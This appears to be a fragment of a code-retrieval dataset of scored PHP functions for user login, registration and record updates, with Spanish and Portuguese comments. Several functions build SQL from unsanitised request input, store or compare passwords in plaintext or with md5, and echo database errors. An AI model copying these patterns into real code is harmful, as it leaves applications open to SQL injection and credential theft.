\"$sql\";\n\n\t\t// Miramos la longitud de la informacion obtenida\n\t\t$nfila = mysqli_num_rows($consulta);\n\t\techo $nfila;\n\n\t\t// **********************************************\n\t\t// \tVerificacion existencia usuario y grabacion\n\t\t// **********************************************\n\t\tif ($nfila == 0 ){\n\t\t\t// Si = 0, Dar de alta usuario\n\n\t\t\t\t// -----------------------------\n\t\t\t\t// \t\tGrabacion de los datos\n\t\t\t\t// -----------------------------\n\n\t\t\t\t// SQL insertar campos\n\t\t\t\t$sql = \t\"INSERT INTO `usuarios`\n\t\t\t\t\t\t\t\t(`Id_usuario`, \n\t\t\t\t\t\t\t\t`Nombre`,\n\t\t\t\t\t\t\t\t`Email`, \n\t\t\t\t\t\t\t\t`Pasword`)\n\t\t\t\t\t\t\tVALUES \n\t\t\t\t\t\t\t\t(NULL,\n\t\t\t\t\t\t\t\t'$username',\n\t\t\t\t\t\t\t\t'$email',\n\t\t\t\t\t\t\t\t'$pasword_save')\n\t\t\t\t\t\t\";\n\t\t\t\t// Generamos objeto sql\n\t\t\t\tmysqli_query($conexion, $sql)\n\t\t\t\t\t\t\tor die (\"Fallo en la consulta\".mysqli_error($conexion));\n\t\t\t\t// *************** FIN Grabacion ****************\n\n\t\t\t// Cierre base de datos.\n\t\t\tmysqli_close($conexion);\n\n\t\t\t// Retorno data\n\t \t\treturn true;\n\t\t}else{\n\t\t\t// Cierre base de datos.\n\t\t\tmysqli_close($conexion);\n\n\t\t\t// Si Diferente CERO. Existe, no dar de alta otra vez\n\t\t\techo \"ERROR !!!! usuario existente\";\n\t\t\treturn false;\n\t\t} // FIN condicion =0\n\t}", "title": "" }, { "docid": "b57b423234287c649d6694f0c4bd432e", "score": "0.6439936", "text": "public function IngresoC() {\n\n\t\t\tif(isset($_POST[\"usuarioI\"])) {\n\n\t\t\t\t# Almacenamos en un array el usuario y contraseña ingresados\n\n\t\t\t\t$datosC = array( \n\t\t\t\t\t\"usuario\" => $_POST[\"usuarioI\"],\n\t\t\t\t\t\"clave\" => $_POST[\"claveI\"] \n\t\t\t\t);\n\n\t\t\t\t# Variable que almacena el nombre de la tabla llamada aniministradores de nuextra BD\n\n\t\t\t\t$tablaBD = \"administradores\";\n\n\t\t\t\t# Solicitamos al modelo una respuesta enviandole el array y el nombre de la tabla \n\n\t\t\t\t$respuesta = AdminM::IngresoM($datosC, $tablaBD); \n\n\t\t\t\t# Compramos si los datos de la BD y datos ingresados en los campos de ingreso son iguales\n\n\t\t\t\tif ( $respuesta['usuario'] == $_POST[\"usuarioI\"] && $respuesta['clave'] == $_POST[\"claveI\"]) {\n\n\t\t\t\t\t# Creamos una variable de Seción \n\n\t\t\t\t\tsession_start();\n\n\t\t\t\t\t$_SESSION[\"ingreso\"] = true;\n\n\t\t\t\t\theader(\"location:index.php?ruta=empleados\");\n\n\t\t\t\t} else {\n\n\t\t\t\t\techo \"ERROR AL INGRESAR\";\n\n\t\t\t\t}\n\t\t\t}\n\t\t}", "title": "" }, { "docid": "7a6964167a6c2a2670cf5f1d2f8c71ae", "score": "0.64396554", "text": "function guardar($objUser)\n {\n $idMen = $_REQUEST['idMensajero'];\n $idZona = $_REQUEST['idZona'];\n $plazo = $_REQUEST['plazo'];\n //debo saber el tipo de mensajero al q le voy a asignar la guia\n $tipo = $_REQUEST['tipo'];\n $arreGuias = unserialize($_SESSION['arregloGuias']);\n\n $idCreador = $objUser->getId();\n $idCiuOri = $objUser->getIdCiudad();\n\n //echo($idMen.\" zona \".$idZona.\" plazo \".$plazo.\" tipo \".$tipo);\n\n $objManifiesto;\n $daoMani = new DaoManifiesto();\n\n if ($tipo == 5)\n {\n $objManifiesto = new Manifiesto(-1, NULL, $idCreador, $plazo, $idZona, NULL);\n\n }\n\n if ($tipo == 8)\n {\n $tarifa = $_REQUEST['tarifa'];\n\n $objManifiesto = new Manifiesto(-1, NULL, $idCreador, $plazo, $idZona, $tarifa);\n }\n \n// $objManifiesto->setIdCiuDesti($idCiuDesi);\n $objManifiesto->setIdCiuOri($idCiuOri);\n\n $objManifiesto->setTerceros(NULL, $idMen, NULL);\n $daoMani->insertar($objManifiesto, $arreGuias);\n }", "title": "" }, { "docid": "c9c2f49e3d34c1cceb2948c262cec9a5", "score": "0.64375585", "text": "public function login() {\n\t\t // $contraseña = '12345';\n\t\t // $encriptada = $hasher->HashPassword($contraseña);\n\t\t// print_r2($encriptada);\n\t\tif(is_empty($this->post->nombre_de_usuario)){\n\t\t\tthrow_exception($this->gvar['m_user_empty']);\n\t\t}\n\t\telse if(is_empty($this->post->password)) {\n\t\t\tthrow_exception($this->gvar['m_password_empty']);\n\t\t}\n\n\n\t\t\n\t\t\n\t\tif(strcmp($this->post->tipo_de_usuario,\"administrador\")==0){\n\t\t\n\t\t\n\t\t$usuario=new administrador($this->post);\n\t\t$cod['administrador']['password']=$this->post->password;\n\t\t$cod['administrador']['nombre_de_usuario']=$this->post->nombre_de_usuario;\t\t\t\t\n\t\t$options['administrador']['lvl2']=\"one_login\";\n\t\t\n\t\t$this->orm->connect();\n\n\t\t$this->orm->read_data(array(\"administrador\"),$options,$cod);\n\t\t$this->usuario = $this->orm->get_objects(\"administrador\");\n\t\t$this->orm->close();\t\t\n\t\t\n\t\tif (is_empty($this->usuario[0])){\n\t\t\tthrow_exception($this->gvar['m_incorrect_login']);\n\t\t}\n\t\telse {\n\t\t\t$_SESSION['usuario']['nombre']=$this->usuario[0]->get('nombre');\n\t\t\t$_SESSION['usuario']['cedula']=$this->usuario[0]->get('cedula');\n\t\t\t$_SESSION['usuario']['type']=\"administrador\";\n\t\t\t$this->session=$_SESSION;\n\t\t $this->engine->assign('type_warning','success');\n\t\t\t$this->engine->assign('msg_warning',$this->gvar['m_correct_login']);\n\t\t\t$this->temp_aux = 'message.tpl';\n\t\t\t}\n\t\t\n\t\t}\n\t\tif(strcmp($this->post->tipo_de_usuario,\"empleado\")==0){\n\t\t\n\t\t\n\t\t$usuario=new empleado($this->post);\n\t\t$cod['empleado']['password']=$this->post->password;\n\t\t$cod['empleado']['nombre_de_usuario']=$this->post->nombre_de_usuario;\t\t\t\t\n\t\t$options['empleado']['lvl2']=\"one_login\";\n\t\t\n\t\t$this->orm->connect();\n\n\t\t$this->orm->read_data(array(\"empleado\"),$options,$cod);\n\t\t$this->usuario = $this->orm->get_objects(\"empleado\");\n\t\t\n\t\t$this->orm->close();\t\t\n\t\t\n\t\tif (is_empty($this->usuario[0])){\n\t\t\tthrow_exception($this->gvar['m_incorrect_login']);\n\t\t}\n\t\telse {\n\t\t\t$_SESSION['usuario']['nombre_de_usuario']=$this->usuario[0]->get('nombre_de_usuario');\n\t\t\t$_SESSION['usuario']['cedula']=$this->usuario[0]->get('cedula');\n\t\t\t$_SESSION['usuario']['type']=\"empleado\";\n\t\t\t$this->session=$_SESSION;\n\t\t\t\n\t\t $this->engine->assign('type_warning','success');\n\t\t\t$this->engine->assign('msg_warning',$this->gvar['m_correct_login']);\n\t\t\t$this->temp_aux = 'message.tpl';\n\t\t\t}\n\t\t\n\t\t}\n\t\tunset($this->usuario);\n\n\t\t\n\n\n\n\t}", "title": "" }, { "docid": "9fb442106ffde82bc0f218d3b3c68ed7", "score": "0.6428208", "text": "public function validaUsuario(){\n\t\t // echo 'server version: ', $this->conexion->getAttribute(PDO::ATTR_SERVER_VERSION), \"\\n\";\n\t\t$this->conexion->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);\n\t\t$this->conexion->setAttribute(PDO::ATTR_EMULATE_PREPARES, false);\n\t\t\n\t\tif($this->usuario && $this->clave) {\n\t\t\ttry {\n\t\t\t\t$this->keyconfig = $this->Configuraciones->getKeyConfig(\"REINTENTOS_FALLIDOS_USUARIO\");\n\t\t\t\t\n\t\t\t\t$this->codigoRespuesta = \"01\";\n\t\t\t\t$this->mensajeRespuesta = \"USUARIO O CLAVE NO VALIDO:\";\n\t\t\t\t$sql = $this->conexion->prepare('SELECT usuario_id,nombres,apellidos,perfil_id,estados_usuario_id,intentos_fallidos FROM ' . self::TABLA .' WHERE usuario = :usuario');\n\t\t\t\t$sql->bindParam(':usuario', $this->usuario);\n\t\t\t\t\n\t//\t\t\tvar_dump($sql);\n\n\t\t\t\t$sql->execute();\n\t\t\t\t$resultado = $sql->fetchAll();\n\t\t\t\t\n\t\t\t\t$cantidad = count($resultado);\n\t\t\t\tif($cantidad>0){\n\t\t\t\t\t\n\t\t\t\t\n//exit;\n\t\t\t\t\tforeach ($resultado as $row) {\n\t\t\t\t\t\t// echo \"entra<br>\";\n\t\t\t\t\t\t$this->usuario_id \t\t= $row['usuario_id'];\n\t\t\t\t\t\t$this->perfil_id \t\t= $row['perfil_id'];\n\t\t\t\t\t\t$this->nombres \t\t\t= $row['nombres'];\n\t\t\t\t\t\t$this->apellidos \t\t= $row['apellidos'];\n\t\t\t\t\t\t$this->estados_usuario_id = $row['estados_usuario_id'];\n\t\t\t\t\t\t$this->intentos_fallidos = $row['intentos_fallidos'];\n\t\t\t\t\t\t// // echo $this->intentos_fallidos.\"--- \";\n\t\t\t\t\t\t// exit();\n\t\t\t\t\t\tif($row['estados_usuario_id'] == 2){\n\t\t\t\t\t\t\t$this->codigoRespuesta \t\t= \"11\";\n\t\t\t\t\t\t\t$this->mensajeRespuesta \t= \"Usuario Inactivo\";\n\t\t\t\t\t\t}elseif($row['estados_usuario_id'] == 3){\n\t\t\t\t\t\t\t$this->codigoRespuesta \t\t= \"12\";\n\t\t\t\t\t\t\t$this->mensajeRespuesta \t= \"Usuario Bloqueado\";\t\t\t\t\t\t\n\t\t\t\t\t\t}elseif($this->intentos_fallidos >= $this->keyconfig){\n\t\t\t\t\t\t\t$nuevo_estado_usuario = 3;\n\t\t\t\t\t\t\t$this->setCambiaEstadoUsuario($this->usuario_id,$nuevo_estado_usuario);\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t$this->codigoRespuesta \t\t= \"13\";\n\t\t\t\t\t\t\t$this->mensajeRespuesta \t= \":Ha superado los \".$this->keyconfig.\" Intentos maximos, Esta en \".$this->intentos_fallidos.\"\";\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\n\n\t\t\t\t\t\t}else{\n\t\t\t\t\t\t\t$this->keyconfig = $this->Configuraciones->getKeyConfig(\"LLAVE\");\n\t\t\t\t\t\t\t$this->codigoRespuesta = \"02\";\n\t\t\t\t\t\t\t$this->mensajeRespuesta = \"Clave no Valida:\";\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t$sql = $this->conexion->prepare('SELECT usuario_id,nombres,apellidos,perfil_id,estados_usuario_id,intentos_fallidos FROM ' . self::TABLA .' WHERE usuario = :usuario AND clave = AES_ENCRYPT(:clave,:keyconfig) ');\n\t\t\t\t\t\t\t$sql->bindParam(':usuario', $this->usuario);\n\t\t\t\t\t\t\t$sql->bindParam(':clave', $this->clave);\n\t\t\t\t\t\t\t$sql->bindParam(':keyconfig', $this->keyconfig);\n\t\t\t\t\t\t\t$sql->execute();\n\t\t\t\t\t\t\t$informacion = $sql->fetchAll();\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\tforeach ($informacion as $linea){\n\t\t\t\t\t\t\t\t$this->codigoRespuesta \t= \"00\";\n\t\t\t\t\t\t\t\t$this->mensajeRespuesta = \"Usuario valido\";\n\t\t\t\t\t\t\t\t$this->usuario_id \t\t= $linea['usuario_id'];\n\t\t\t\t\t\t\t\t$this->perfil_id \t\t= $linea['perfil_id'];\n\t\t\t\t\t\t\t\t$this->nombres \t\t\t= $linea['nombres'];\n\t\t\t\t\t\t\t\t$this->apellidos \t\t= $linea['apellidos'];\n\t\t\t\t\t\t\t\t$this->estados_usuario_id = $linea['estados_usuario_id'];\n\t\t\t\t\t\t\t\t$this->intentos_fallidos = $linea['intentos_fallidos'];\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}else{\n\t\t\t\t\t$this->codigoRespuesta = \"04\";\n\t\t\t\t\t$this->mensajeRespuesta = \"Usuario no Existe:\";\n\t\t\t\t}\n\t\t\t\t// echo $this->usuario.\" \".$this->clave.\"\".$this->intentos_fallidos;\n\t\t\t\t// exit();\n\t\t\t\treturn $resultado;\n\t\t\t}catch (PDOException $e) {\n\t\t\t\techo \"<br>validaUsuario::DataBase Error: <br>\".$e->getMessage();\n\t\t\t\techo \"<br>Error Code:<br> \".$e->getCode();\n\t\t\t // var_dump($e->getMessage());\n\t\t\t\t//var_dump($this->conexion->errorInfo());\n\t\t\t\texit;\n\t\t\t}catch (Exception $e) {\n\t\t\t\techo \"validaUsuario::General Error: The user could not be added.<br>\".$e->getMessage();\n\t\t\t\texit;\n\t\t\t}\n\t\t}else{\n\t\t\t$this->codigoRespuesta = \"99\";\n\t\t\t$this->mensajeRespuesta = \"Parametros Incompletos\";\n\t\t}\n\t\t$conexion = null;\n\t}", "title": "" }, { "docid": "fae4c98582c19d8af57a00ba67bf0d7a", "score": "0.6422703", "text": "static public function ctrIngresoUsuario(){\n\t\tif(isset($_POST[\"accionUsuario\"]) && $_POST[\"accionUsuario\"] == \"ingreso\"){\n\t\t\t$_SESSION[\"nameBd\"] = $_POST[\"rYCvKq\"];\n\t\t\t//$encriptar = crypt($_POST[\"ingPassword\"], '$2a$07$asxx54ahjppf45sd87a5a4dDDGsystemdev$');\n\t\t\t$password = $_POST[\"password\"];\n\t\t\t$usuario = $_POST[\"user\"];\n\n\t\t\t$respuesta = ModeloUsuario::mdlMostrarUsuario($usuario,$password);\n\t\t\t$entradaLcd = 'sessionLocal';\n\t\t\t$respuesta2 = ControladorLocalidad::ctrMostrarLocalidad($entradaLcd);\n\t\t\t$entradaEmp = 'sessionEmpr';\n\t\t\t$respuesta3 = ControladorEmpresa::ctrMostrarEmpresa($entradaEmp);\n\t\t\tif($respuesta != null){\n\t\t\t\tif($respuesta[\"cod_usuario\"] == $_POST[\"user\"] && $respuesta[\"dsc_clave\"] == $password){\n\t\t\t\t\t//if($respuesta[\"flg_activo\"] == 'SI'){\n\t\t\t\t\t\t$_SESSION[\"user\"] = $respuesta[\"cod_usuario\"];\n\t\t\t\t\t\t$_SESSION[\"nombre\"] = $respuesta[\"dsc_usuario\"];\n\t\t\t\t\t\t$_SESSION[\"flg_administrador\"] = $respuesta[\"flg_administrador\"];\n\t\t\t\t\t\t$_SESSION[\"cod_trabajador\"] = $respuesta[\"cod_trabajador\"];\n\t\t\t\t\t\t$_SESSION[\"localidad\"] = $respuesta2[\"cod_localidad\"];\n\t\t\t\t\t\t$_SESSION[\"dsc_localidad\"] = $respuesta2[\"dsc_localidad\"];\n\t\t\t\t\t\t$_SESSION[\"codEmpresa\"] = $respuesta3[\"cod_empresa\"];\n\t\t\t\t\t\t$_SESSION[\"dsc_empresa\"] = $respuesta3[\"dsc_empresa\"];\n\t\t\t\t\t\t$_SESSION[\"dsc_ruc\"] = $respuesta3[\"dsc_ruc\"];\n\t\t\t\t\t\treturn 1;\n\t\t\t\t\t/*}else{\n\t\t\t\t\t\treturn 'inactivo';\n\t\t\t\t\t}*/\n\t\t\t\t}else{\n\t\t\t\t\treturn 0;\n\t\t\t\t}\n\t\t\t}else{\n\t\t\t\treturn 0;\n\t\t\t}\n\t\t}//if\n\t}", "title": "" }, { "docid": "ef9bdd48a0fc71d8493215aa62c08320", "score": "0.64181906", "text": "public function registrarBD(){\n $usu = new Usuarios();\n $datos['usuario'] = Array(\n 'User' => $this->input->post('user'),\n 'Pass' => $this->input->post('contra'),\n 'Correo' => $this->input->post('correo')\n );\n \n $res = $usu->anadirUsuario($datos['usuario']);\n if($res == 0){\n $this->session->set_flashdata('ErrorAn','Ha ocurrido un error a la hora de registrarte, intentalo de nuevo más tarde');\n redirect('Home/login');\n }else{\n $this->session->set_flashdata('Corre','Registrado con exito!!!');\n redirect('Home/login'); \t\n }\n\t}", "title": "" }, { "docid": "1453d1fb8fcd8998038aabd59e54feb0", "score": "0.6416051", "text": "public function inserirUsuario(){\n if($_SERVER['REQUEST_METHOD'] == 'POST'){\n $nome = $_POST['txtnome'];\n $usuario = $_POST['txtusuario'];\n $nivel = $_POST['txtnivel'];\n $senha = $_POST['txtsenha'];\n\n $encryptSenha = md5($senha);\n\n $imagem = $_POST['txtimagem'];\n\n }\n\n //instancia da classe usuario\n $usuarioClass = new Usuario();\n\n $usuarioClass->setImagem($imagem);\n $usuarioClass->setNome($nome);\n $usuarioClass->setUsuario($usuario);\n $usuarioClass->setNivel($nivel);\n $usuarioClass->setSenha($encryptSenha);\n\n //instancia da classe usuarioDAO\n $usuarioDAO = new UsuarioDAO();\n\n //chamada da função para inserção de dados\n $usuarioDAO::Insert($usuarioClass);\n }", "title": "" }, { "docid": "f9994e49deaf65ebd674fa7a6d3f6647", "score": "0.64145434", "text": "public static function AddUser(){\n\n // On verifie si tout les champs sont present\n if(isset($_GET['Login']) AND isset($_GET['Password']) AND (isset($_GET['Tel'])) AND (isset($_GET['Mail'])) AND (isset($_GET['Adresse'])) AND (isset($_GET['Link_Linkedin'])) AND(isset($_GET['Bool'])) ){\n\n // Liste des informations récuperer\n $Login = $_GET['Login'];\n $Password = $_GET['Password'];\n $Tel = $_GET['Tel'];\n $Mail = $_GET['Mail'];\n $Adresse = $_GET['Adresse'];\n $Linkedin = $_GET['Link_Linkedin'];\n $Bool = $_GET['Bool'];\n\n\t\t\t\t// Requete pour verifier si le nom d'utilisateur existe.\n\t\t\t\t$Requete = App::getDatabase()->Query(\"SELECT * FROM `user` WHERE `Login`=: Login\", array('Login' => $Login))->fetch();\n\n\t\t\t\t// Si la requete retourne quelque chose\n\t\t\t\tif(isset($Requete) AND ($Requete != \"\")){\n\n\t\t\t\t\t// Erreur\n\t\t\t\t\techo \"L'utilisateur existe déjà\";\n\n\t\t\t\t}\n\t\t\t\t// Sinon.\n\n\t\t\t\t// Sinon\n\t\t\t\telse {\n\n \t// On insert les données\n \tApp::getDatabase()->Insert(\"INSERT INTO `user`(`Login`, `Password`, `Tel`, `Mail`, `Adresse`, `Link_Linkedin`) VALUES ('\".$Login.\"','\".$Password.\"','\".$Tel.\"','\".$Mail.\"','\".$Adresse.\"', '\".$Linkedin.\"')\");\n\n\t\t\t\t}\n\t\t\t\t// Fin Sinon\n\n\t\t\t\t$Res = App::getDatabase()->Query(\"SELECT * FROM `user` WHERE `Login`=: Login\", array('Login' => $Login))->fetch();\n\n\t\t\t\t// Exemple : index.php?Login=Test_Site&Password=Test&Tel=0644307513&Mail=zayres@live.fr&Adresse=69009%20Vaise&Link_Linkedin=http://www.google.com&Bool=1&Nom_Entreprise=Entrepriz&Nbrs_Sal=10&Nbr_Stagiaire=0&Management_Social=\n\n\t\t\t\t$ID = $Res->ID_User;\n\n // Si l'utilisateur est une entreprise\n if($Bool == 1){\n\n $Nom = $_GET['Nom_Entreprise'];\n $Nombre_Salarie = $_GET['Nbrs_Sal'];\n $Nombre_Stagiaire = $_GET['Nbr_Stagiaire'];\n $Management_Social = $_GET['Management_Social'];\n\n\t\t\t\t\tApp::getDatabase()->Query(\"INSERT INTO `entreprise`(`Nom`, `Nombre_Salarie`, `Nbr_Stagiaire`, `Management_Social`, `ID_User`) VALUES ('\".$Nom.\"', '\".$Nombre_Salarie.\"', '\".$Nbr_Stagiaire.\"', '\".$Management_Social.\"', '\".$ID.\"')\");\n\n\n\n }\n // Fin Si.\n\n // Sinon Si l'utilisateur est un stagiaire\n elseif ($Bool == 0) {\n\n $Nom = $_GET['Nom'];\n $Prenom = $_GET['Prenom'];\n $Age = $_GET['Age'];\n $Description = $_GET['Desc'];\n $Niveau = $_GET['Niveau'];\n\n }\n // Fin Si.\n\n }\n // Fin Si.\n\n }", "title": "" }, { "docid": "7983a2356c3fe2858ac859231cb23ded", "score": "0.6411995", "text": "public function ctrIngresoUsuario(){\n\n\t\tif(isset($_POST[\"ingUser\"])){\n\n\t\t\tif(preg_match('/^[a-zA-Z0-9]+$/', $_POST[\"ingUser\"]) &&\n\t\t\t preg_match('/^[a-zA-Z0-9]+$/', $_POST[\"ingPassword\"])){\n\n\t\t\t\t$encriptar = crypt($_POST[\"ingPassword\"], '$2a$07$asxx54ahjppf45sd87a5a4dDDGsystemdev$');\n\n\t\t\t\t$tabla = \"usuarios\";\n\t\t\t\t$item = \"user\";\n\t\t\t\t$valor = $_POST[\"ingUser\"];\n\n\t\t\t\t$respuesta = ModeloUsuarios::mdlMostrarUsuario($tabla, $item, $valor);\n\n\t\t\t\tif($respuesta[\"user\"] == $_POST[\"ingUser\"] && $respuesta[\"password\"] == $encriptar){\n\n\t\t\t\t\tif($respuesta[\"verificacion\"] == 1){\n\n\t\t\t\t\t\techo'<script>\n\n\t\t\t\t\t\t\tswal({\n\t\t\t\t\t\t\t\t title: \"ESTA SUSPENDIDO\",\n\t\t\t\t\t\t\t\t text: \"¡Por favor comuniquese con el administrador!\",\n\t\t\t\t\t\t\t\t type: \"error\",\n\t\t\t\t\t\t\t\t confirmButtonText: \"Cerrar\",\n\t\t\t\t\t\t\t\t closeOnConfirm: false\n\t\t\t\t\t\t\t},\n\n\t\t\t\t\t\t\tfunction(isConfirm){\n\t\t\t\t\t\t\t\t\t if (isConfirm) {\t \n\t\t\t\t\t\t\t\t\t history.back();\n\t\t\t\t\t\t\t\t\t } \n\t\t\t\t\t\t\t});\n\n\t\t\t\t\t\t\t</script>';\n\n\t\t\t\t\t}else{\n\n\t\t\t\t\t\t$_SESSION[\"validarSesionUSERSIUNAP\"] = \"ok\";\n\t\t\t\t\t\t$_SESSION[\"idUSERSIUNAP\"] = $respuesta[\"id\"];\n\t\t\t\t\t\t$_SESSION[\"codigoUSERSIUNAP\"] = $respuesta[\"codigo\"];\n\t\t\t\t\t\t$_SESSION[\"nombreUSERSIUNAP\"] = $respuesta[\"nombre\"];\n\t\t\t\t\t\t$_SESSION[\"userUSERSIUNAP\"] = $respuesta[\"user\"];\n\t\t\t\t\t\t$_SESSION[\"fotoUSERSIUNAP\"] = $respuesta[\"foto\"];\n\t\t\t\t\t\t$_SESSION[\"emailUSERSIUNAP\"] = $respuesta[\"email\"];\n\t\t\t\t\t\t$_SESSION[\"passwordUSERSIUNAP\"] = $respuesta[\"password\"];\n\t\t\t\t\t\t$_SESSION[\"modoUSERSIUNAP\"] = $respuesta[\"modo\"];\n\n\t\t\t\t\t\techo '<script>\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\twindow.location = \"inicio\";\n\n\t\t\t\t\t\t</script>';\n\n\t\t\t\t\t}\n\n\t\t\t\t}else{\n\n\t\t\t\t\techo'<script>\n\n\t\t\t\t\t\t\tswal({\n\t\t\t\t\t\t\t\t title: \"¡ERROR AL INGRESAR!\",\n\t\t\t\t\t\t\t\t text: \"¡Por favor revise que el email exista o la contraseña coincida con la registrada!\",\n\t\t\t\t\t\t\t\t type: \"error\",\n\t\t\t\t\t\t\t\t confirmButtonText: \"Cerrar\",\n\t\t\t\t\t\t\t\t closeOnConfirm: false\n\t\t\t\t\t\t\t},\n\n\t\t\t\t\t\t\tfunction(isConfirm){\n\t\t\t\t\t\t\t\t\t if (isConfirm) {\t \n\t\t\t\t\t\t\t\t\t window.location = localStorage.getItem(\"rutaActual\");\n\t\t\t\t\t\t\t\t\t } \n\t\t\t\t\t\t\t});\n\n\t\t\t\t\t\t\t</script>';\n\n\t\t\t\t}\n\n\t\t\t}else{\n\n\t\t\t\techo '<script> \n\n\t\t\t\t\t\tswal({\n\t\t\t\t\t\t\t title: \"¡ERROR!\",\n\t\t\t\t\t\t\t text: \"¡Error al ingresar al sistema, no se permiten caracteres especiales!\",\n\t\t\t\t\t\t\t type:\"error\",\n\t\t\t\t\t\t\t confirmButtonText: \"Cerrar\",\n\t\t\t\t\t\t\t closeOnConfirm: false\n\t\t\t\t\t\t\t},\n\n\t\t\t\t\t\t\tfunction(isConfirm){\n\n\t\t\t\t\t\t\t\tif(isConfirm){\n\t\t\t\t\t\t\t\t\thistory.back();\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t});\n\n\t\t\t\t</script>';\n\n\t\t\t}\n\n\t\t}\n\n\t}", "title": "" }, { "docid": "69ec045d451c986f65edc9db8d347b0e", "score": "0.6409611", "text": "public function insert_user($nombre, $correo){\n $conexion = $this->conexion;\n if(!$conexion)\n { \n echo \"<p class='error'><b>No se pudo realizar el registro del usuario. </b>\".$this->mensajeError .\"</p>\";\n }\n else \n {\n $query=\"INSERT INTO usuario_login (correo,password, Pacienteid,Medicoid) VALUES ('$nombre', '$correo', null,1)\";\n\n //$ejecutar =mysql_query($query);\n $ejecutar = $conexion->query($query);\n if(!$ejecutar=== TRUE){\n echo \"<p class='error'><b> Hubo un error en </b>\" .$query . \"<br>\" . $conexion->error .\"</p>\"; \n }\n else {\n //echo \"Datos guardado correctamente <br> <a href=''>Volver</a>\";\n //echo '<script language=\"javascript\">alert(\" ✔ Datos guardado correctamente \");</script>';\t\t\t\n echo \"<p class='exito' <b> ✔ Datos guardado correctamente </b></p>\";\n }\n $conexion->close();\n }\t\n }", "title": "" }, { "docid": "c822f3a3e112128d7205923e9cd117d7", "score": "0.64079106", "text": "public function actualizar(){\n return (new Database('usuarios'))->update('id = '.$this->id,[\n 'nombre' => $this->nombre,\n 'email' => $this->email,\n 'password' => $this->password\n ]);\n }", "title": "" }, { "docid": "6e82f00ef0912b228415e4adecdd738f", "score": "0.6404051", "text": "protected function cambiarDatosUsuario()\n {\n $usu_nombres = $this->getRequest()->getParameter('usu_nombres');\n $usu_apellidos = $this->getRequest()->getParameter('usu_apellidos');\n $usu_correo = $this->getRequest()->getParameter('usu_correo');\n $usu_id = $this->getRequest()->getParameter('usu_id');\n $usu_usuario = $this->getRequest()->getParameter('usu_usuario');\n\n $salida;\n\n try{ \n $usuario = AgilhuUsuarioPeer::retrieveByPK($usu_id);\n $usuario->setUsuNombres($usu_nombres);\n $usuario->setUsuApellidos($usu_apellidos);\n $usuario->setUsuCorreo($usu_correo);\n $usuario->save();\n $salida = \"({success: true, mensaje:'El usuario fue actualizado exitosamente'})\";\n }\n catch (Exception $excepcionModulo)\n {\n $salida = \"({success: false, errors: { reason: 'Hubo un problema actualizando el usuario \".$usu_usuario.\"'}})\";\n }\n \n\n return $salida;\n }", "title": "" }, { "docid": "b91adac6b15a7d060b45ed7df686954a", "score": "0.63863146", "text": "public function guardar(){\n \t$valido = true;\n \t$datos = $_POST;\n $cita = new cita($datos);\n $llave = true;\n $llave2 = true;\n $llave3 = true;\n $llave4 = true;\n $llave5 = true;\n\n//dueños\n $dueño_mascotaDB = new dueño_mascotaDb();\n $dueño_mascota = new dueño_mascota();\n $dueño_mascotas = $dueño_mascotaDB->getOne($cita->getId_dueño_mascota());\n $arraydueño_mascotas = $dueño_mascotaDB->getAll();\n foreach ($arraydueño_mascotas as $dueño_mascota) {\n if ($dueño_mascotas->getId_dueño_mascota()==$dueño_mascota->getId_dueño_mascota()) {//si encuentra la id queda la llave falsa\n $llave = false;\n break;\n }\n }\n if ($llave==false) {\n $cita->setId_dueño_mascota($dueño_mascotas->getId_dueño_mascota());//existe\n }else{\n $dueño_mascotaDB->insert($cita->getId_dueño_mascota());\n $new = $dueño_mascotaDB->getOne($cita->getId_dueño_mascota());\n $cita->setId_dueño_mascota($new->getId_dueño_mascota());//no esxiste\n }\n//usuarios\n $usuarioDB = new usuarioDb();\n $usuario = new usuario();\n $usuarios = $usuarioDB->getOne($cita->getId_usuario());\n $arrayusuarios = $usuarioDB->getAll();\n foreach ($arrayusuarios as $usuario) {\n if ($usuarios->getId_usuario()==$usuario->getId_usuario()) {//si encuentra la id queda la llave falsa\n $llave2 = false;\n break;\n }\n }\n if ($llave2==false) {\n $cita->setId_usuario($usuarios->getId_usuario());//existe\n }else{\n $usuarioDB->insert($cita->getId_usuario());\n $new = $usuarioDB->getOne($cita->getId_usuario());\n $cita->setId_usuario($new->getId_usuario());//no esxiste\n }\n//fecha\n $originalDate = $cita->getId_fecha();\n $newDate = date(\"Y-m-d\", strtotime($originalDate));\n \n $cita->setId_fecha($newDate);\n\n $cita->setId_fecha(\"1\");\n\n\n//teléfono\n $teléfono = new teléfonoDb();// proceso para verificar existencia de datos o agregarlos\n $tel = new teléfono();\n $telefonos = $teléfono->getOne($cita->getId_teléfono());\n $arrayTelefonos = $teléfono->getAll();\n foreach ($arrayTelefonos as $tel) {\n if ($tel->getId_teléfono()==$telefonos->getId_teléfono()) {\n $llave5 = false;\n break;\n }\n }\n if ($llave5==false) {\n $cita->setId_teléfono($telefonos->getId_teléfono());//existe\n }else{\n $teléfono->insert($cita->getId_teléfono());\n $new = $teléfono->getOne($cita->getId_teléfono());\n $cita->setId_teléfono($new->getId_teléfono());//no esxiste\n }\n\n//mascota\n $mascotaDB = new mascotaDb();\n $mascota = new mascota();\n $mascotas = $mascotaDB->getOne($cita->getId_mascota());\n $arraymascotas = $mascotaDB->getAll();\n foreach ($arraymascotas as $mascota) {\n if ($mascotas->getId_mascota()==$mascota->getId_mascota()) {//si encuentra la id queda la llave falsa\n $llave3 = false;\n break;\n }\n }\n if ($llave3==false) {\n $cita->setId_mascota($mascotas->getId_mascota());//existe\n }else{\n $mascotaDB->insert($cita->getId_mascota());\n $new = $mascotaDB->getOne($cita->getId_mascota());\n $cita->setId_mascota($new->getId_mascota());//no esxiste\n }\n\n\n\n\n\n\n\n\n \n\n \tif($valido){\n \t//si todo está ok, guardar en BD e informar por pantalla\n \t\t\n \n\n\n\t $db = new citaDb();\n\t if($cita->getId_cita()){\n\n\t \tif( $db->update($cita) instanceof cita ){\n\t \t\tUtil::setMsj('La cita fue actualizada con éxito','success');\n\t 